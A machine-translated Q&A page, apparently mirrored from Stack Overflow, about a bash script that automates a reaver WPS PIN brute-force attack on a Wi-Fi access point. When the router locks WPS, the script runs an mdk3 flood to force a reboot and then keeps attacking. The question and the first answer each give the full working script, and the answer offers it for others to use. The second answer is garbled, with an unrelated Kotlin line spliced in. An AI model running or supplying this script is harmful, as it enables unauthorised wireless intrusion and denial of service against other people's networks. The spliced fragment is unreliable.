用于reaver的Bash脚本解锁wps锁定状态

时间:2017-02-06 16:02:19

标签: linux bash cracking aircrack-ng wps

首先,抱歉我可怜的英语不好。我正在尝试编写一个bash脚本,以便使用reaver执行AP WPS破解。问题是,在尝试了一些WPS-PIN后,AP会锁定WPS,所以我的掠夺者没用。

要解决此问题,我会执行mdk3攻击以强制AP重新启动并再次攻击它(重启后,WPS会在解锁状态下重新启动)。

这种方法的问题在于:

  1. 当AP被锁定且
  2. 时,我必须在PC锁定前面
  3. 进行mdk3攻击,在AP重启并再次执行reaver攻击时停止。对此的解决方案显然是一个脚本。
  4. 我写了以下几行来解决这个问题。

    我不得不说我是bash脚本中的总菜鸟,因此脚本不是“专业”,它只是解决我问题的“workarround”。

    #!/bin/bash
    
    while true; do
        # Switch to the correct channel and save it into $channel
        echo Detecting AP channel
        timeout 25 reaver -i wlan0mon -e AP_SSID -b AP_BSSID -q # Switch to the AP channel
        rm ap_channel 2> /dev/null
        touch ap_channel
        timeout 5 aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon > ap_channel
        channel="$(head -1 ap_channel | tail -c 2 | head -c 1)"
        rm ap_channel
    
        # Attacks the AP while it isn't wps-locked
        rm ap_status 2> /dev/null
        timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
        while [ -z "$(grep Locked ap_status)" ]; do
            echo Performing reaver attack
            aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon
            timeout 30 reaver -i wlan0mon -e AP_SSID -b AP_BSSID --no-nacks -vv -s REAVER_PREV_SESSION.wpc -w -A -g 1 -C gnome-screenshot -f
            rm ap_status
            timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
        done
    
        # The AP is now locked. Performs a mdk3 attack (in order to reboot the AP) while the AP wps-status is Locked
        ((mdk3 wlan0mon a -a AP_BSSID -m) 2>&1) > /dev/null &
        mdk3_pid=$!
        rm ap_status
        timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
        while [ -n "$(grep Locked ap_status)" ]; do
            echo Trying to reboot the AP
            rm ap_status
            timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
        done
    
        # The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack
        kill -9 $mdk3_pid
        echo AP rebooted. Waiting 2 mins till AP init
        sleep 120
    done
    

    这个脚本中的问题是我用于airodump输出的stdout重定向如果我在命令行中直接执行它会比在脚本中执行它时运行不同。

    timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
    

    我需要一种在脚本中执行上面一行的方法,就好像我直接在tty中执行它一样。我无法使用exec执行此操作,因为我需要继续使用该脚本。

    注意:我不能将-w选项用于airodump-ng,因为它不会保存WPS状态。

    有人可以帮帮我吗?

2 个答案:

答案 0 :(得分:0)

我终于明白了。我找到了解决此问题的解决方法,将命令的stdout重定向到文件。我发布了剧本,也许有人可以使用它。

!/斌/庆典

while true; do

rm attack
rm ap_status
rm ap_channel

# Detects the AP channel
echo Detecting AP channel
timeout 45 reaver -i wlan0mon -e AP_SSID -b AP_BSSID -vv > ap_channel # Switch to the AP channel
timeout 15 aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon > ap_channel
channel="$(head -1 ap_channel | tail -c 3 | head -c 2)"
rm ap_channel
echo Detected AP channel $channel

# Attacks the AP using reaver till the AP locks the WPS
((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status &
airodump_pid=$!
sleep 10
kill -9 $airodump_pid

while [ -z "$(grep Locked ap_status)" ]; do
    echo Performing reaver attack
    aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon
    timeout 30 reaver -i wlan0mon -e AP_SSID -b AP_BSSID --no-nacks -vv -s PREV_SESSION.wpc -w -A -g 1 -C gnome-screenshot -f
    ((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status &
    airodump_pid=$!
    sleep 10
    kill -9 $airodump_pid
done

# Force a reboot in the AP to unlock WPS
((mdk3 wlan0mon a -a AP_BSSID -m) 2>&1) > attack &
mdk3_pid=$!

((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status &
airodump_pid=$!
sleep 10
kill -9 $airodump_pid

while [ -n "$(grep Locked ap_status -m 1)" ]; do
    echo Trying to reboot the AP
    ((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status &
    airodump_pid=$!
    sleep 10
    kill -9 $airodump_pid
done

# The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack
kill -9 $mdk3_pid
echo AP rebooted. Waiting 5 mins till AP init
rm attack
rm ap_status
sleep 300

done

延迟设置为多头,但他们没问题。这取决于AP,你可以改变它们。

使用脚本,aircrack,reaver(最新版本,具有--wps选项的版本),超时和mdk3包是必需的。

如果知道bash脚本的人想要修改脚本并上传更好的脚本,那就太棒了!

答案 1 :(得分:0)

我的变种。 固定延迟替换list.sortedWith(compareBy<Foo> { it.a }.thenByDescending { it.b }.thenBy { it.c })。 计数尝试引脚并等待时间。

将“-C gnome-screenshot -f”替换为截图程序或将其删除。

dynamic wait